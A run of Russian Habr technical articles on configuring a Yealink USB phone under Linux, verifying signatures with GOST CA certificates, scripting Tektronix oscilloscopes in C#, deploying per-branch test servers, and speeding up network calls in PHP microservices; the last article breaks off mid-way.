/home/adyna/Desktop/yeaphone-0.1.6/src/ylcontrol.c:579: undefined reference to `gstate_get_state'
/home/adyna/Desktop/yeaphone-0.1.6/src/ylcontrol.c:580: undefined reference to `gstate_get_state'`
Дело в том, что в 3-й ветки изменили API. Томас сделан патч, но почему-то не обновил пакеты tar.gz, и нормально компилирующийся код лежит только в svn. Если возникает какая-то проблема сбоки, рекомендую прочесть раздел комментариев на сайте Томаса. Для Вашего удобства также прилагаю к статье и пакет с yaphone.
##### Борьба с usbhid
Даже после того, как я все собрал, попытка запуска yaphone приводила к сообщению:
`No appropriate handset found, exiting...`
А выглядело это так:
`usbcore: registered new interface driver yealink
yealink: Yealink phone driver: 20090418 (C) Thomas Reitmayr, Henk Vergonet
usb 3-1: USB disconnect, address 22
usb 3-1: new full speed USB device using uhci_hcd and address 23
usb 3-1: configuration #1 chosen from 1 choice
generic-usb 0003:6993:B700.0020: hiddev0,hidraw3: USB HID v1.10 Device [Yealink Network Technology Ltd. VOIP USB Phone ] on usb-0000:00:1a.1-1/input3`
Все дело в том, что модуль usbhid «забирает» себе устройство, и модуль yealink его не видит. Если отгрузить модуль usbhid (внимание, тут остаемся без мышки), и временно переместить usbhid.ko, скажем, в tmp, перезагрузить модуль yealink, и воткнуть телефон, то сообщение dmesg будет таким:
`yealink: Yealink phone driver: 20090418 (C) Thomas Reitmayr, Henk Vergonet
usb 3-1: new full speed USB device using uhci_hcd and address 19
usb 3-1: configuration #1 chosen from 1 choice
yealink: Detected Model USB-P1KH (Version 0x1005)
yealink: Serial Number ff0adb4abc96
input: Yealink USB-P1KH as /devices/pci0000:00/0000:00:1a.1/usb3/3-1/3-1:1.3/input/input20`
Как видим, телефон определился, и показал свой серийный номер. Чтобы не приходилось каждый раз вручную играться с модулем, необходимо добавить правило в udev, которое будет вызывать скрипт, «отцепляющий» телефон от usbhid и «прикрепляющий» его к yealink. Скрирт приведен в приложении, а вот вывод его работы:
`explorer /tmp # sh /tmp/rebind-yealink.sh
Found Yealink phone at /sys/devices/pci0000:00/0000:00:1a.1/usb3/3-1
found HID interface at 3-1:1.3
successfully detached driver 'usbhid'
successfully reattached driver 'yealink'
explorer /tmp #`
Вывод dmesg подтвердит, что все прошло успешно.
##### udev и разрешения
Последним штрихом является адаптация /etc/udev/rules.d/99-yealink.rules
`explorer ~ # cat /etc/udev/rules.d/99-yealink.rules
KERNEL=="event*", ATTRS{name}=="Yealink*", GROUP="max", RUN+="/bin/sh -c '/bin/chgrp max /sys$env{DEVPATH}/device/device/*'"
ACTION=="add|change", SUBSYSTEMS=="usb", ATTRS{idVendor}=="6993", ATTRS{idProduct}=="b700", RUN+="/usr/local/sbin/rebind-yealink.sh"`
Обратите внимание, что вместо max нужно вставить группу, под которым работает Ваша учетная запись. Чтобы увидеть свои группы, выполните команду groups. Скрипт rebind-yealink.sh есть в приложении. Если при запуске телефон выдает нечто такое:
`opmascha@explorer ~ $ yeaphone
path_sysfs = /sys/bus/usb/drivers/yealink/5-1:1.3/
path_event = /dev/input/event11
/sys/bus/usb/drivers/yealink/5-1:1.3/model: Permission denied
Detected handset Yealink USB-P1K
/sys/bus/usb/drivers/yealink/5-1:1.3/line2: Permission denied
/sys/bus/usb/drivers/yealink/5-1:1.3/line1: Permission denied
/sys/bus/usb/drivers/yealink/5-1:1.3/line3: Permission denied
/sys/bus/usb/drivers/yealink/5-1:1.3/hide_icon: Permission denied`
это значит, что надо разбираться с 99-yealink.rules — он либо не отрабатывает из-за синтаксической ошибки, либо допущена ошибка в учетной записи. cd /sys/bus/usb/ и смотреть разрешения.
##### Стартап
Прописать в стартап запуск телефона (rc.local, local.start или как в Вашем дистрибутиве правильно):
`su - max -c '/usr/local/bin/yeaphone -w' > /dev/null 2>&1 &`
Тут также надо изменить max на имя Вашей учетной записи.
##### Настройка
После установки всех компонентов можно приступать к настройке. Необходимо настроить:
* SIP эккаунт (кстати, это одно из ограничений: если linphone поддерживает неограниченное число эккаунтов, то yeaphone — только один, так как не умеет их перебирать);
* Аудио-устройство — USB VoIP Phone
* доп. параметры yaphone (рингтон, параметры набора номера, и др.).
##### Учетная запись SIP
* Это можно сделать двумя способами:
* Запустить графический интерфейс linphone-3 (если собирали), и в нем настроить учетную запись .
* выполнить конфигурацию из консоли. Приведем пример из консоли:
`linphonec> proxy add
Adding new proxy setup. Hit ^D to abort.
Enter proxy sip address: sip:sipnet.ru
Your identity for this proxy: sip:1234567890@sipnet.ru
Do you want to register on this proxy (yes/no): yes
Specify register expiration time in seconds (default is 600): 180
Expiration: 180 seconds
Specify route if needed:
No route specified.
--------------------------------------------
sip address: sip:sipnet.ru
route:
identity: sip:1234567890@sipnet.ru
register: yes
expires: 180
registered: no
--------------------------------------------
Accept the above proxy configuration (yes/no) ?: yes
Proxy added.
linphonec> Registration on sip:sipnet.ru successful.
linphonec> Registration on sip:sipnet.ru successful.
linphonec>`
##### Конфигурация audio
Далее необходимо настроить используемое аудио-устройство. Если собрался GTK интерфейс, то можно сделать это в нем, иначе следующим образом:
`linphonec> soundcard list
0: ALSA: default device
1: ALSA: HDA Intel
2: ALSA: VOIP USB Phone
linphonec> soundcard use 2
Using sound device ALSA: VOIP USB Phone
linphonec>`
Эта команда настроит все звуковые каналы (playback, capture & ring) на использование USB телефона.
##### Настройка Yeaphone
Ну и в заключение, приведу пример настроек. Файл ~/.yeahonerc содержит конфигурацию, а папка ~/.yaphone/ringtone/ — рингтоны.
`max@explorer /tmp $ cat ~/.yeaphonerc
intl-access-code 810
natl-access-code 8
country-code 7
display-id " --123--"
ringtone_default default_p1k.bin
#ringtone_default default_p1kh.bin
#ringtone_default falling2_p1k.bin
#ringtone_default falling_p1k.bin
#ringtone_default rising_p1k.bin
#ringtone_default special_p1k.bin`
Рингтоны противные, было бы здорово, если бы кто-то добавил свои более мелодичные, типа «в траве сидел кузнечик»…
Также, надо убедиться, что настроен только один прокси сервер, и он же выбран как default в файле ~/.linphonerc. Если Вы получаете такое сообщение
`Warning: Could not parse given sip address. A sip url usually looks like sip:user@domain`
то это значит, что надо подредактировать ручками ~/.linphonerc.
##### Заключение
В результате, как только я подключаю USB телефон Skype mate P1K к своему ноутбуку, в течение максимум 10 секунд он подключается к серверу. Как только я вытаскиваю USB кабель из ноута, софтфон снимает регистрацию. За уже 3-й день эксплуатации проблем не обнаружено.
##### Приложения
[Правила udev](http://asteriskpbx.ru/raw-attachment/wiki/voip-linux-usb-phone-p1k-howto/99-yealink.rules)
[Скрипт для udev по отъему телефона у usbhid](http://asteriskpbx.ru/raw-attachment/wiki/voip-linux-usb-phone-p1k-howto/rebind-yealink.sh)
[Yaphone 0.1.8](http://asteriskpbx.ru/raw-attachment/wiki/voip-linux-usb-phone-p1k-howto/yeaphone-0.1.8.tar.gz)
[Модуль к ядру](http://asteriskpbx.ru/raw-attachment/wiki/voip-linux-usb-phone-p1k-howto/yealink-module-0.1.8.tar.gz) | https://habr.com/ru/post/96814/ | null | ru | null |
# Корневые и промежуточные сертификаты уполномоченных Удостоверяющих Центров России
Как и многие другие страны, Россия для официального электронного документооборота использует x509 сертификаты, выпускаемые уполномоченными Российскими Удостоверяющими Центрами (УЦ). И в отличие от многих других стран, использует свои собственные шифры.
Я давно хотел автоматизировать проверку подписей ответов органов власти (я много переписываюсь) и проверку «выгрузок» Роскомнадзора на подлинность (по роду общественной деятельности). Самой большой проблемой было достать промежуточные сертификаты из цепочки. Потому что существовал невнятный Excel-файл корневых УЦ на сайте Минсвязи и всё. А промежуточные надо было искать по сайтам соответствующих УЦ. Жизнь — боль.
> **Что такое «промежуточные сертификаты»**. Напомню как это работает. Допустим, мы хотим проверить некое подписанное письмо. Письмо подписано ключом. Есть сертификат, который удостоверяет этот ключ. Сертификат кем-то выдан и тоже подписан каким-то ключом с прилагаемым сертификатом. И тот сертификат точно также. И так до момента, когда сертификат выдан сам себе. При проверке мы имеем (принесли, поставили из пакета, нам выдали на флешке) некий набор вот этих конечных сертификатов, которым мы верим. Верим потому что мы верим тому, кто нам их выдал. В мире веба мы верим браузеру и их набору корневых сертификатов. В мире веба при соединении по HTTPS передаются от сервера к клиенту также и промежуточные сертификаты. Поэтому в мире веба у нас всегда есть вся цепочка.
Внезапно (я не знаю точно когда) и незаметно на сайте Госуслуг появилась вот такая ссылочка:
[e-trust.gosuslugi.ru/CA](http://e-trust.gosuslugi.ru/CA)
Я наскоро [написал программку](https://github.com/schors/gost-ca-parse), которая превращает XML-файл со списком УЦ и сертификатами с этого сайта в привычный PEM формат.
Затем я автоматизировал её и получил [постоянно поддерживаемый репозиторий сертификатов](https://github.com/schors/gost-russian-ca) в привычном для \*NIX мира виде.
#### Шифрование ГОСТ
Шифрование ГОСТ поддерживается в LibreSSL не помню с какой версии. Но в Alpine Linux от 3.5 уже поддерживается. С OpenSSL всё сложнее. Шифрование ГОСТ идёт с OpenSSL от версии 1.0.0 до версии 1.0.2 включительно. Но например в CentOS шифрования ГОСТ нет. Пользователи CentOS должны страдать. Для Debian, Mint, Ubuntu с OpenSSL версии 1.1.0 и выше требуется установка пакета libengine-gost-openssl1.1, поддерживаемого криптоэнтузиастом Вартаном Хачатуровым (кстати, можно ему помочь).
Ну и в 2018 году у нас есть Docker, а в Alpine Linux, как я уже упоминал, всё работает.
#### Как это использовать
Короткие примеры для проверки «выгрузки» Роскомнадзора с открепленной подписью. Файл «выгрузки» — dump.xml, открепленной подписи — dump.xml.sig. Даже я проверял их раньше только на целостность подписи, но не на соответствие источнику.
Используя OpenSSL:
```
git clone https://github.com/schors/gost-russian-ca.git ./
openssl smime -verify -engine gost \
-CAfile gost-russian-ca.git/certs/ca-certificates.pem \
-in dump.xml.sig -inform DER -content dump.xml -out /dev/null
```
Используя LibreSSL:
```
git clone https://github.com/schors/gost-russian-ca.git ./
openssl smime -verify -CAfile gost-russian-ca.git/certs/ca-certificates.pem \
-in dump.xml.sig -inform DER -content dump.xml -out /dev/null
```
И, конечно, можно применить утилиту c\_rehash в папке *certs*, а затем использовать опцию -CAdir вместо -CAfile.
И с этого момента можно не пользоваться сайтом Госуслуг, Контура и странными программами вроде КриптоПро для простой задачи проверки подписи. А главное, что теперь можно и автоматизировать. | https://habr.com/ru/post/423187/ | null | ru | null |
# Управление осциллографами Tektronix из Visual Studio
С подобными задачами сталкиваешься редко, однако если это происходит, очень приятно прочитать исчерпывающую статью, которая поможет быстро начать продуктивную работу, а не ломать целый день голову вопросами «Что скачать?», «Где найти?», «Как это вообще работает?». У меня подобная задача возникла в рамках разработки автоматизированного стенда для тестирования плат. В процессе ее решения возник ряд проблем, а информации в интернете по этому поводу достаточно мало ввиду узости проблемы. Данная статья максимально подробно и емко описывает основные моменты для быстрого начала работы с осциллографами Tektronix из Visual Studio.
Во-первых нужно скачать и [установить драйвер TekVISA](http://ru.tek.com/oscilloscope/tds7054-software-2) (нужно будет пройти регистрацию, иначе вы не сможете скачать необходимые драйвера).
После установки драйвера TekVISA нужно зайти в директорию C:\Windows\assembly, **именно там будет лежать необходимая для работы библиотека TekVISANet.dll**. Далее добавляем библиотеку в проект (Project > Add Reference… > Browse...) и… все!
И казалось бы, что все так просто! Однако, была потрачена половина рабочего дня, для того чтобы понять, куда была сохранена эта чудо библиотека. Ведь следуя голосу разума, ты ожидаешь найти ее в совсем других директориях, например, C:\Program Files (x86)\IVI Foundation или C:\Program Files (x86)\Tektronix.
Взаимодействовать с осциллографом максимально просто. Например, следующий кусочек кода позволяет подключиться к устройству и прочитать его идентификационные данные:
```
using System;
using System.Collections;
using TekVISANet;
namespace TekVISAExample
{
class Program
{
static void Main(string[] args)
{
string response;
ArrayList resources = new ArrayList();
VISA tekVISA = new VISA();
tekVISA.FindResources("?*", out resources);
Console.WriteLine("RESOURCES:");
foreach (string s in resources)
Console.WriteLine(s);
tekVISA.Open(resources[0].ToString());
tekVISA.Write("*IDN?");
bool status = tekVISA.Read(out response);
if (status)
Console.WriteLine("IDN (device information): {0}", response);
Console.ReadKey();
}
}
}
```
OUTPUT:
RESOURCES:
USB0::0x0699::0x0376::C011053::INSTR
ASRL7::INSTR
ASRL8::INSTR
IDN (device information):
TEKTRONIX,MSO2012,C011053,CF:91.1CT FV:v1.52 DPO2COMP:V1.00
Для общения с устройством нужно использовать SCPI (Standard Commands for Programmable Instruments) команды. Ознакомиться с ними можно здесь: [sdphca.ucsd.edu/Lab\_Equip\_Manuals/SCPI-99.pdf](http://sdphca.ucsd.edu/Lab_Equip_Manuals/SCPI-99.pdf). Однако все приборы обладают разными настройками и функциональностью, таким образом, нужно найти набор SCPI команд, применимых именно к Вашему конкретному устройству. Как правило, их можно найти в Programmer Manual устройства.
Также можно скачать OpenChoice Desktop free application для осциллографов Tektronix. После скачивания и установки, нужно подключить прибор к компьютеру (USB), запустить приложение, перейти на вкладку Get & Send Settings и нажать кнопку Get Settings. На экране появятся все доступные команды для настройки устройства с их текущими параметрами.
**Пример 1.** Измерение значения RMS со второго канала:
```
using System;
using System.Collections;
using TekVISANet;
namespace TekVISAExample
{
class Program
{
private const string OSCILLOSCOPE = "USB0::0x0699::0x0376::C011053::INSTR";
static void Main(string[] args)
{
VISA tekVISA = new VISA();
ArrayList resources = new ArrayList();
tekVISA.FindResources("?*", out resources);
bool opened = false;
if (resources.Contains(OSCILLOSCOPE))
opened = tekVISA.Open(OSCILLOSCOPE);
if (opened)
{
///настраиваем канал 2
tekVISA.Write("CH2:COUPLING AC");
tekVISA.Write("CH2:SCALE 20.000E-3");
tekVISA.Write("CH2:BANDWIDTH 20.000E+6");
///что мы хотим измерять?
tekVISA.Write("MEASUREMENT:MEAS1:TYPE RMS");
tekVISA.Write("MEASUREMENT:MEAS1:SOURCE1 CH2");
tekVISA.Write("MEASUREMENT:MEAS1:STATE ON");
///запрос на чтение значения RMS
tekVISA.Write("MEASUREMENT:MEAS1:VALUE?");
string response = "";
///чтение данных
tekVISA.Read(out response);
Console.WriteLine("RMS CH2 VALUE: {0}", response);
}
Console.ReadKey();
}
}
```
**Пример 2.** Получение формы сигнала в виде точек, сохраненных в .csv файл для дальнейшего использования:
```
using System;
using System.Linq;
using System.Collections;
using System.Globalization;
using TekVISANet;
using System.Threading;
namespace TekVISAExample
{
class Program
{
private const string OSCILLOSCOPE = "USB::0x0699::0x0376::C011053::INSTR";
static void Main(string[] args)
{
Thread.CurrentThread.CurrentCulture = CultureInfo.CreateSpecificCulture("en-US");
VISA tekVISA = new VISA();
ArrayList resources = new ArrayList();
tekVISA.FindResources("?*", out resources);
bool opened = false;
if (resources.Contains(OSCILLOSCOPE))
opened = tekVISA.Open(OSCILLOSCOPE);
if (opened)
{
NumberStyles styles = NumberStyles.AllowExponent | NumberStyles.Number;
string response = "";
tekVISA.Write("DATA:SOU CH2");
tekVISA.Write("DATA:WIDTH 1");
tekVISA.Write("DATA:ENC ASCII");
tekVISA.Write("DATA:STOP 5208");
tekVISA.Query("WFMPRE:YMULT?", out response);
response = response.Replace(":WFMPRE:YMULT ", "");
float ymult = float.Parse(response, styles);
tekVISA.Query("WFMPRE:YZERO?", out response);
response = response.Replace(":WFMPRE:YZERO ", "");
float yzero = float.Parse(response, styles);
tekVISA.Query("WFMPRE:YOFF?", out response);
response = response.Replace(":WFMPRE:YOFF ", "");
float yoff = float.Parse(response, styles);
tekVISA.Query("WFMPRE:XINCR?", out response);
response = response.Replace(":WFMPRE:XINCR ", "");
float xincr = float.Parse(response, styles);
tekVISA.Write("CURVE?");
tekVISA.Read(out response);
response = response.Replace(":CURVE ", "");
sbyte[] rawwave = response.Split(',').Select(n => Convert.ToSByte(n)).ToArray();
float[] wave = new float[rawwave.Count()];
for (int j = 0; j < rawwave.Count(); j++)
wave[j] = (rawwave[j] - yoff) * ymult + yzero;
System.IO.StreamWriter file = new System.IO.StreamWriter("waveform.csv");
file.WriteLine("V,S");
for (int j = 0; j < wave.Count(); j++)
{
float timepoint = j * xincr;
file.WriteLine(wave[j].ToString() + "," + timepoint.ToString());
}
file.Close();
tekVISA.Close();
}
Console.ReadKey();
}
}
}
``` | https://habr.com/ru/post/271641/ | null | ru | null |
# Инфраструктура + тестирование = любовь
Инфраструктура тестирования обсуждается реже чем проблемы программирования или шестизначные зарплаты. Дьявол кроется в деталях, а если точнее, то дьявол сидит в процессах внутри команды. В небольших командах процессы устраиваются сами собой без обсуждения. Продуктивность команды снижается по мере роста команды и в условиях игнорирования процессов. Статью будет полезно прочитать, если команда испытывает следующие трудности:
* тестирование становится бутылочным горлышком и замедляет работу;
* в продукт баги проникают чаще чем хотелось.
### Процесс
Классический процесс в микрокоманде на ранних этапах выглядит следующим образом:
Шаги с первого по четвертый не стоят обсуждения, сразу перейдем к шагу номер пять. Чаще в микрокомандах тестировщик не разворачивает проект локально и не переключается на нужную ветку. Тестирование проходит на тестовом сервере, который соответствует ветке develop.
Процесс выстроен логично, но давайте пофантазируем насчет ожидаемых проблем. Если задача сложная и цикл тестирования и внесения изменений продолжительный, то такая задача тормозит остальные задачи и разработчики либо сделает релиз гораздо позже, либо будут мерджить небольшие задачи напрямую в ветку master.
Получается нечто вроде конвейера, если на ленте (dev-server) застряла Feature 6, это блокирует конвейер и предприятие останавливается. Согласно теории ограничений, это классическое бутылочное горлышко. Выпуск релиза будет отложен ровно на столько, сколько требуется на исправление проблем в Feature 6. Если однажды Feature 6 попала в ветку develop, остальные задачи (Feature 4, Feature 5) будут ожидать исправления ошибок в Feature 6. При таком подходе, трудно делать релизы вовремя, будут задачи, которые блокируют релиз.
Если внимательно посмотреть на схему, очевидное решение – сливать в ветку develop только готовые задачи, для этого код должен быть протестирован. Для тестировщика или менеджера затруднительно разворачивать локально проект и переключаться с одной ветки на другую. Следовательно, для каждой разрабатываемой задачи необходим собственный сервер с публичным доступом. Попробуем!
Теперь, разработчик для каждой задачи или состояния проекта имеет свой собственный домен и может отправить его тестировщику. При этом, если в коде есть какие-то проблемы, это не заблокирует релиз, так как проблемный код еще не попал в develop ветку. Значит, мы в любой момент времени можем готовить релиз, на тестовом сервере только готовые задачи. Вроде бы на этом можно и закончить, но каждый раз для каждой задачи даже разработчику или девопсу трудно разворачивать новое состояние приложения.
### Реализация
Для того чтобы погрузиться в техническую реализацию, предлагаю добавить некоторые детали к проекту. Предположим, у нас обычное веб-приложение, например на [next.js](https://nextjs.org/).
Пришла задача от дизайнера поменять цвет кнопки "Купить" на красный. Разработчик добросовестно выполнил задачу и теперь хочет показать красную кнопку тестировщику.
Прежде чем разбираться, как это сделать, стоит сформулировать критерии выполнения задачи:
1. QA имеет ссылку на сборку приложения в конкретном состоянии ветки.
2. Ссылка уникальная и никак не переопределяет дев-сервер
3. Весь процесс полностью автоматизирован и не требует дополнительных усилий со стороны разработчиков.
Попробуем схематично изобразить решение.
Выглядит просто, как рецепт приготовления макарон. Теперь по шагам помеченным на схеме цифрами в желтом круге.
1. Разработчик отправляет код в новой ветке в репозиторий. На нашей схеме это "Репозиторий".
2. Gitlab CI собираем проект в контейнере и отправляет конкретное состояние приложения в реестр без дополнительных усилий разработчика.
3. Теперь размещаем это в интернете и получаем ссылку на это состояние. Для этого, используем скрипт на python или другом языке. Скрипт запускается по расписанию каждые 7 минут и проверяет не появилось ли новых контейнеров в реестре контейнеров.
4. Скрипт понимает что появился новый контейнер и размещает на виртуальном сервере. Теперь на сервере запущено приложение в требуемом состояние, но невозможно получить к нему доступ из интернета.
5. Скрипт меняет конфигурацию nginx. С этого момента, если на локальном компьютере добавить в файл hosts запись ip\_address [feature6.myproject.com](http://feature6.myproject.com), то получим заветную красную кнопку.
6. Последняя задача это создать публичную ссылку. Здесь сразу дам допущение, домен делегирован в Cloudfare, который умеет через API менять A-записи. Скрипт на этом шаге — создает A-запись, тем самым получаем заветную ссылку [https://feature6.myproject.com](https://feature6.myproject.com/) и отправляем тестировщику.
Приведу псевдокод, показывающий алгоритм.
```
var new_containers = list[]; // список контейнеров в реестре
var old_containers = list[]; // список запущенных контейнеров на сервере
// поиск новых контейнеров
var diff = diff(new_containers, old_containers)
for i in diff:
startLocalContainers() // запускаем новый контейнер
patchNginxConfig() // добавляем новую запись в конфигурацию nginx
createNewARecord() // отправляем запрос на API cloudfare для создания A-записи
notify() // Отправляем уведомления в slack или в другой мессенджер
```
### Результат
Мы избавились от бутылочного горлышка в процессе разработки и сделали жизнь разработчиков чуточку лучше. Бонусом, можно подключить уведомления в телеграмме, слеке или бейскемпе или даже прикреплять ссылку автоматически в jira. Эта логика также будет размещена в python-скрипте.
Сегодня мы рассмотрели простой пример, в следующей статье рассмотрим ситуацию, в которой у нас более сложная архитектура приложения с бекендом, фронтом и админкой. | https://habr.com/ru/post/655671/ | null | ru | null |
# Строим эффективный сетевой обмен в PHP-микросервисах
Микросервисы сейчас — это новый черный. Все больше и больше компаний переходят именно на микросервисную архитектуру. И при переходе ловят самые разные ошибки. Самая популярная происходит из-за того, что люди просто не готовы к тому, что их приложения начинают активно использовать сеть. Потому что IPC и RPC-запросы — это абсолютно разные вещи.
Я техлид в команде Авито в проекте SLA. Сегодня расскажу, как мы оптимизировали сетевые вызовы, чтобы избежать проблем с сетью при переходе в микросервисный мир. Разговор будет про оптимизацию CURL-запросов, деградацию сервисов и FAIL-FAST-подходы.
Разработчики любят оптимизировать и зарубаться за лишние 100 мс, чтобы памяти поменьше использовалось. Но от продакта можно услышать: «Зачем тратить деньги на сетевую оптимизацию? Зачем в принципе оптимизировать код, если сейчас мы живем нормально? Давайте фичи пилить!» Эти два человека не всегда могут договориться, и тогда они приходят к аналитику, который предложит просто посчитать.
Примерно такой диалог произошел у нас в Авито, и мы провели большой А/В тест. В течение нескольких месяцев мы искусственно замедляли загрузку страниц на разное время (1с, 2с, 3с, 5с, 10с) и смотрели, как от скорости нашего ответа меняются продуктовые метрики. В ряде случаев мы даже специально оптимизировали код, чтобы посмотреть, как уменьшение времени ответа влияет на метрики.
В итоге мы получили, во-первых, **20%-ый рост количества отказов**, когда пользователь просто не дождался загрузки и ушел со страницы. Вторым результатом стала **5-20%-ая потеря целевых действий.** Это достаточно субъективная, подходящая именно под Авито метрика — когда мы ждем, что пользователь перешел по объявлению в поиске. В тесте пользователи стали реже переходить по объявлениям, просматривать телефонные номера и писать в мессенджере.
И в третьих, мы увидели, что **ускорение загрузки на 1с увеличило поток целевых действий на 4%.** В масштабах Авито это огромные деньги и большой прирост всех продуктовых показателей. Выводы из теста получились вполне ожидаемыми:
* Зависимость продуктовых метрик от скорости ответа — нелинейная. То есть, увеличив скорость в 2 раза, мы не получим в 2 раза больше денег — но зависимость есть.
* Чем быстрее мы отвечаем, тем меньше шанс отказа, что пользователь просто не дождется ответа и уйдет.
* Чем быстрее мы отвечаем, тем лучше ключевые продуктовые метрики страницы и тем больше целевых действий совершают пользователи на странице.
Выводы дали нам вполне работающую модель, которая позволила понять, что оптимизация скорости действительно оправдана и важна. В определенных пределах, и, чтобы понимать, где имеет смысл оптимизировать скорость, а где это не сработает, мы начали смотреть, что можно сделать для ускорения.
Реализуем асинхронность в PHP-приложении
----------------------------------------
Возьмем максимальной искусственный пример, чтобы проиллюстрировать проблему перехода в микросервисный мир микросервисного приложения. Любые компании, которые идут туда, скорее всего, придут к такой ситуации:
Страница профиля в первой итерации запрашивает пять сервисов:
* Сервис авторизации (мы его к тому моменту уже сделали), чтобы получить ID пользователя.
* Сервис пользователей, чтобы получить данные о данном конкретном пользователе.
* Сервис биллинга, чтобы человек мог получить ответ на вопрос: «Какое у меня состояние баланса, сколько у меня денег?»
* Сервис объявлений, чтобы увидеть все свои объявления.
* Сервис статистики, чтобы посмотреть, например, сколько денег было заработано или потрачено за последний месяц?»
Но какой SLA будет у такой системы из 5 сервисов?
Это еще очень хорошая цифра, потому что, скорее всего, она будет раза в три вышеЧто здесь можно запараллелить? Например, некоторые сервисы запрашивают только ID, и в нашем случае это четыре сервиса (выделены розовым):
Если их поставить в параллель, то можно хорошо сэкономить. Но PHP не умеет работать в многопоточности (ждем PHP 8.1). Но пока мы нашли решение для таких задач.
### Curl\_multi\_exec и Guzzle
Если посмотреть код [curl\_multi\_exec](https://www.php.net/manual/ru/function.curl-multi-exec.php), то там всё достаточно просто. Он позволяет за один раз получить ответы от нескольких сервисов. То есть запросы выполняются параллельно и с зачетом по последнему, что и решает нашу задачу:
Curl\_multi\_execНо при использовании curl\_multi\_exec мы поняли, что такой код плохо читается, с ним неудобно работать. Тогда мы обернули curl и curl\_multi\_exec с помощью [Guzzle](https://github.com/guzzle/guzzle), и тот же самый вызов из предыдущего примера стал выглядеть так:
GuzzleGuzzle-код гораздо более понятный, компактный, лучше читается. Здесь ровно то же самое — есть два запроса, и мы резолвим результаты. Стоит обратить внимание, что в реальности все запросы будут выполнены в момент вызова promise1, а в promise2 будут данные, что мы уже получили во время выполнения promise1.
Guzzle дал нам так называемую «параллельность» и так называемую «асинхроничность». Но в больших проектах внедрять подобный подход будет очень дорого.
### Когда асинхронность не работает
Когда у вас большой проект с dependency injection, то существует **ненулевая** вероятность, что вы можете создать разные guzzle-клиенты. И тогда можно забыть о параллельности — она не будет работать, так как вы схлопнете запросы в рамках только одного guzzle-клиента. В этом случае может иметь смысл оставить guzzle-клиент как singleton в вашем приложении (на уровне DI конечно-же, не кидайтесь тапками) в вашем приложении.
Другая история, когда guzzle вам с синхронностью не поможет, стара как мир. Например, пользователь ищет сиамских котов, в результате чего сервис поиска получает по ним запрос и список из 10 ID-объявлений. Чтобы получить данные по этим объявлениям, вы схлопнете одиночные запросы к сервису объявлений под один guzzle запрос, и для PHP это будет выглядеть как один сетевой запрос. Но ваш сервис получит сразу 10(!!!!) сетевых запросов в один момент времени!
Чтобы это решить, мы стараемся использовать только batch-запросы и строим концепцию API наших сервисов именно под эти запросы. У нас нет возможности получить одно объявление — только пачкой. Вы не можете получить один профиль пользователя — только batch-запрос (пусть и с 1-м ID).
Когда вы вводите концепцию batch-запросов, это стимулирует разработчика реализовывать их и заранее в процессе написания кода продумать проброс айдишников. Пробрасывает, получает batch запроса — и всё прекрасно работает.
### Выводы
* Даже однопоточный РНР можно научить работать с параллельными запросами и получать данные параллельно. Для этого мы используем curl\_multi\_exec или его «обёртку» в виде guzzle;
* Лучше один batch-запрос, чем 10 через guzzle. Это поможет разработчикам оптимизировать код заранее.
Оптимизация curl
----------------
Curl — это, наверное, основной способ работы сети для PHP-приложений. И мы решили понять, можем ли мы его оптимизировать.
Разберём фазы работы curl:
Из этих четырех фаз три — служебные. И только Transfer несет реальную пользу, передавая payload в запросах и ответах. Пройдем по первым трем фазам и посмотрим, можно ли каждую из них как-либо оптимизировать.
### Namelookup
На этой фазе нам нужно получить из path\host IP адрес. Как правило, это обычный DNS запрос. Как можно избавится от него? Мы перебрали несколько вариантов:
* Вместо host можно использовать IP-сервиса, по которым мы ходим, но получится не очень удачный вариант, особенно если у вас Kubernetes с динамическими IP-адресами.
* Можно использовать алиас из /etc/hosts, а в /etc/hosts, например, оркестратором доставлять апдейты. Вариант тоже так себе.
* Но если использовать алиас из локальной reverse-proxy, то локальная reverse-proxy все за нас резолвит. Бинго! Так мы и сделали.
### Connect
На этой фазе мы устанавливаем tcp/ip соединение с сервисом. Чтобы сэкономить время\ресурсы и не подключаться каждый раз, мы просто поддерживаем постоянное tcp/ip-соединение на reverse-proxy.
### Pretransfer
На этой фазе мы уже устанавливаем HTTP соединение (уровня L7 модели OSI). Обмениваемся сертификатами, делаем SSL-handshake. Если использовать **reverse-proxy + http 1.1**, то мы получим замечательный **keep-alive**. То есть наше соединение не будет закрываться в тот момент, когда мы завершили запрос.
А если использовать http вместо https то избежим толстых и дорогих handshake (безопасно делать только если вы явно разграничиваете приватный и публичный контуры).
### Reverse-proxy
Выше мы несколько раз явно упоминали про reverse-proxy и то, как мы оптимизируемся через него. Расскажу подробнее про использование Reverse-proxy. Это некоторый промежуточный слой балансеров или сервисов, который проксирует запрос от пользователя к вам.
Ваши балансеры трафика (например, по регионам) — это тоже в своем роде reverse-proxy. Таких слоев можно вставлять сколько угодно, в зависимости от того, какие задачи вы решаете.
Иногда reverse-proxy может быть локальным и стоять рядом с каждым инстансом вашего PHP-приложения. Пользователь шлет запрос к нему, а reverse-proxy процессит запрос в ваше PHP-приложение.
Я покажу примеры reverse-proxy в виде nginx, хотя примеров его использования достаточно много (например, traefik или envoy). Nginx хорошо тем, что отлично себя показывает в связке с PHP, уже подключён как фронт у большинства приложений, надёжен, как швейцарские часы, имеет хорошую производительность и скриптуется через LUA.
Мы хотим. Чтобы из nginx, который лежит локально рядом с нашим PHP-приложением, сделать reverse-proxy, прописывам в /etc/hosts алиас:
Прописываем алиас нашего reverse-proxy в hostsДалее — index.php. Это то, как будет выглядеть proxy. Обратите внимание на строку с url нашего сервиса:
Мы поменяли адрес на алиас из hosts, добавили префикс к URL, и в результате DNS для резолва уже не используется:
Index.php* `service-proxy`: алиас, который прописан в /etc/hosts как 127.0.0.1.
* `:8888`: порт, который был выбран специально — он 100% не смотрит в интернет и открыт только для local-хоста.
* `/service-user`: имя сервиса. У нас ведь их больше одного, а мы строим универсальную конфигурацию.
* `/get-user`: непосредственно имя метода в сервисе, что мы вызываем.
В самом nginx мы описываем локации для каждого сервиса, у нас это service-user- После чего выполняем rewrite, где вырезаем service-user и оставляем только имя метода:
Дальше процессим его в виртуальную локацию (service-user):
nginx/sites-enabled/services.confОбратите внимание на элементы конфигурации, они важны для концепции reverse-proxy:
* Заголовок сервиса, в который мы идём, то есть конкретный хост. Если раньше мы ходили в сервис service-user.your-domain.com, то и здесь мы его проставляем.
* proxy\_pass (об этом чуть позже).
* timeout на подключение, пересылку, приём и отправку.
* keep-alive, о котором мы говорили выше. Он позволяет не устанавливать соединение каждый раз.
